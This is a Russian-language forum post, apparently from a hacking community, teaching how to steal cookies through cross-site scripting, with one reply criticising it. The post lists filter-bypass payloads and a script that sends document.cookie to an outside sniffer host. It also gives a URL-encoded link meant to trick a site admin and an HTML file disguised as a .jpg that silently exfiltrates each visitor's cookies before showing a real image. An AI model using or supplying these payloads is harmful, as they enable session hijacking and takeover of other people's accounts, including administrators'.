Вот моя первая статья и направлена она на угон cookie посредством XSS.
Xss это Css =) Cross Site Scripting
Чтобы не путать с CSS также называют XSS
Что же такое cookie и для чего XSS?
Cookie - это просто текстовый файл на компьютере клиента и используется он для сохранения информации сервером.
К примеру, после регистрации и входа на форум, сайт сохраняет в cookie информацию о вас. Там обычно сохранениа информация о
вашем пользователе и его пароль. Уже потом форум читает эти данные и определяет вас. Другой пример: вы администратор сайта, а я
простой пользователь. Но если я изменю свои данные на ваши, то я тоже буду определен системой как администратор. Вот и поэтому
необходимо уметь угонять эти самые cookie.
Что такое XSS-атака?
XSS атаки - это атаки не на сам сайт, а на пользователей сайта.
XSS - это недоработка в фильтре, приложении.
Бывают пассивные XSS и активные XSS.
Пассивные - это Xss, которые требуют от жертвы непосредственного участия + есть специфические
ограничения и сложности. Поэтому, пассивные XSS не очень ценятся. Например, нужно заставить её пройти по ядовитой ссылке,
что потребует социальной инженерии, хитрости.
Активные - это XSS, которые, не требуют никаких дополнительных действий со стороны жертвы - ей достаточно
лишь открыть страницу с вашим XSS и ява-код выполнится автоматически. Благодаря своей автоматизированности - они очень полезны и ценны.
Например, активные хсс существуют в BB-тегах из-за недостаточной фильтрации, когда вы оставляете сообщение на форумегостевухечате,
которое будет всегда активен при каждом обновлении.
Как найти XSS на данном сайте?
Пытаемся вставить везде где можно на сайте тег (script)alert()(/script). Если вышло сообщение, то
значит скрипт сработал и вы нашли XSS.
Рассмотрим еще одну XSS ")(script)alert()(/script). Что же при этом происходит: мы
закрываем тег ")(возможно какой-то переменной задается текст, который мы вводим в форму) и выполняется
(script)alert()(/script)
Как определить, если ли фильтр?
Для этого во все поля вводим ";!--"(fuck)=&{()}
Далее открываем страницу и ищем слово fuck, а также другие символы:
Если () остались, то это первый признак уязвимости. Если остались символы ,"' , то это второй признак
Если вы не обнаружили (), то скорее всего их съел фильтр. Ну а если они были заменены на другие символы, то тогда увы,
фильтр работает неплохо.
Что если фильтр проглатывает () ?
Пробуем вставить (kdgfjdgfd), смотрим, если проглотил - то вставляем боевой скрипт.
Есть также способ вложенного скрипта: (sc(script)ript)alert()(/sc(/script)ript). Это поможет, когда
фильтр не очень сильный.
Бывает, что фильтр считает количество открытых и закрытых тегов и сам закрывает, тогда поможет такое:
)))))(script
Частенько бывает, что фильтр дополняет скрипт, к примеру таким:
")http://******.ru/forum.asp?sessionID=")(IMG%20SRC="javascript (strong)(/strong):alert();
Здесь фильтр смотрит, что ничего опасного в (IMG%20SRC="javascript (strong)(/strong):alert(); нет и выполняет его.
Можно попытаться использовать различные кодировки и попытаться закодировать скрипт.
Надо пытаться методом проб и ошибок...
Надо пытаться вводить различные значения, просматривать, что мы получили от фильтра. Методом тыков понять, как фильтр работает,
какие у него недоработки. Если фильтр плохой, то всегда можно будет вставить скрипт.
Активные XSS
К примеру на сайте можно использовать только разрешенные теги, тогда, прикрываясь ими нужно выполнить скрипт. К примеру это теги
img, url. Весь смысл в том, что нам нужно вставить наш запрос в параметр img или url. У img есть много параметров
кроме alt и src, что можно использовать в гостевухах и на форумах.
Рассмотрим активные XSS
К примеру попробуйте ввести [img]http://www.qwert.ru/1.jpg[/img] или такое [img src=http://www.qwert.ru/1.jpg]. Если
появился крестик, то попробуйте постваить пробел после расширения jpg [img]http://www.qwert.ru/1.jpg [/img]. Если снова крестик - тогда
все прекрасно.
Далее у img существуют параметры dynsrc и lowsrc, которые держат JavaScript.
Пытаемся вставить такое: [img]http://www.qwert.ru/1.jpg lowsrc=javascript:alert()[/img], проверяем. Если вышло сообщение, то значит вы
нашли активную XSS и вместо alert() можно вставить любой скрипт
Если фильтр не сдался попробуйте так:
[img]http://www.qwert.ru/"/lowsrc="javascript:alert()"/1.jpg[/img]
и
[img]http://www.qwert.ru/"/lowsrc=javascript:alert()/1.jpg[/img]
На странице из этого получиться такой тег:
(img source="http://www.qwert.ru/"/lowsrc="javascript:alert()"/1.jpg)
Если с приведённых примеров получился крестик, то httр://www.qwert.ru/1.jpg заменяем на адрес сниффера.
Боевой скрипт
На самом деле alert() ничего полезного не сделает (он нужен был только для проверки). А вот сам скрипт:
(script)
img = new Image();
img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
(/script)
Он то уже и ворует куки
Подставляем его так:
1) http://****.ru/forum?f=')(script)img = new Image();
img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;(/script)
где ')(script)img = new Image(); img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie; сам скрипт
2) более безопасный скрипт такой к примеру:
http://****.ru/forum?f=')(script src=http://MySuite.ru/script/My.js)(/script)
тут уже идет обращение к файлу My.js, который содержит
(script)img = new Image(); img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
Так более безопаснее.
Бывает, когда приходиться шифровать. Вот к примеру:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2E%72%75%2F%66%6F%72%75%6D%3F%66%3D%27%3E%3C%73%63%72%69
%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%3D
%22%68%74%74%70%3A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%73%2E
%6A%70%67%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E
Это закодированное
http://****.ru/forum?f=')(script)img = new Image();
img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;(/script)
Шифрование особенно необходимо не только для обхода фильтров, но и для обмана админа при использовании
пассивной XSS:
(script)document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2E%72%75%2F%66%
6F%72%75%6D%3F%66%3D%27%3E%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67
%65%28%29%3B%20%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%6E%74%69%63%68%61%74%2E%72
%75%2F%63%67%69%2D%62%69%6E%2F%73%2E%6A%70%67%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B
%69%65%3B%3C%2F%73%63%72%69%70%74%3E"
(/script)
Кинув эту ссылку админу, произойдет следующее (если он пройдет по ссылке):
document.location.href без запроса перекинет на
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2E%72%75%2F%66%6F%72%75%6D%3F%66%3D%27%3E%3C%73%63%72%69
%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%3D
%22%68%74%74%70%3A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%73%2E
%6A%70%67%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E
а это наш зашифрованный xss
Есть еще один интересный способ для сайтов, где можно выкладывать свои файлы, изображения:
составляем файл примерно такого содержания:
(!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd")
(html)
(head)
(title)"www.****.ru"(/title)
(META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251")
(/head)
(body)
(META HTTP-EQUIV="REFRESH" CONTENT="1; URL=http://www.****.ru/image/_1.jpg")
(script language="JavaScript" type="text/javascript")
document.write("(img src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie
style=display:none border=0 height=1 width=1/)");
document.title = "www.****.ru";
window.status = "Пожалуйста подождите";
(/script)
(body onload="LoadThisPage()")
(script language="JavaScript" type="text/javascript")
function LoadThisPage()
{
window.location.href = "http://www.****.ru/image/_1.jpg";
}
(/script)
(/body)
(/html)
Потом называем файл, к примеру 1.jpg и размещаем на сайте. Реакция такая:
при открытии документа (а IE прекрасно понимает содержание файла), изменяем заголовок и строку состояния.
В это время мы дописываем строкой
document.write("(img src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie style=display:none border=0 height=1 width=1/)");
в наш документ обращение к снифферу для отправки cookie.
Кстати, в отличие от частого способа, данное изображение не отображается
в виде крестика, т.к. оно имеет аттрибут скрытый (style=display:none) и на всякий случай размеры 1х1. После получений cookie мы без
запроса переходим на адрес http://www.****.ru/image/_1.jpg и открываем настоящее изображение (а ссылка на наш файл к примеру
http://www.****.ru/image/1.jpg).
Такую ссылку можно спокойно разместить на сайте http://www.****.ru. Каждый, кто зайдет по ссылке, отдаст вам свои cookie и
увидит то, зачем он щелкнул по ссылке (т.е. картинку, на которую мы его переадресуем).
переадресация происходит в любом случае, включен ли у пользователя JavaScript или нет.
Дополнительно: если перейти через IE, то скрипт сработает, а если в Opera, то скрипт не сработает и будет крестик. А если переименовать в html, то в опере тоже будет работать.
Я не понимаю, для кого и для чего эта "статья" написана.
Для тех кто в теме, она как бы на фиг не нужна. Для новичков?
А что из неё они смогут понять? Просто набор обрывающихся на полуслове недосформулированных мыслей. Приблизительно так же,
мог бы, излагать свои мысли, слегка барахлящий, старенький холодильник... И что это за полукруглые скобки?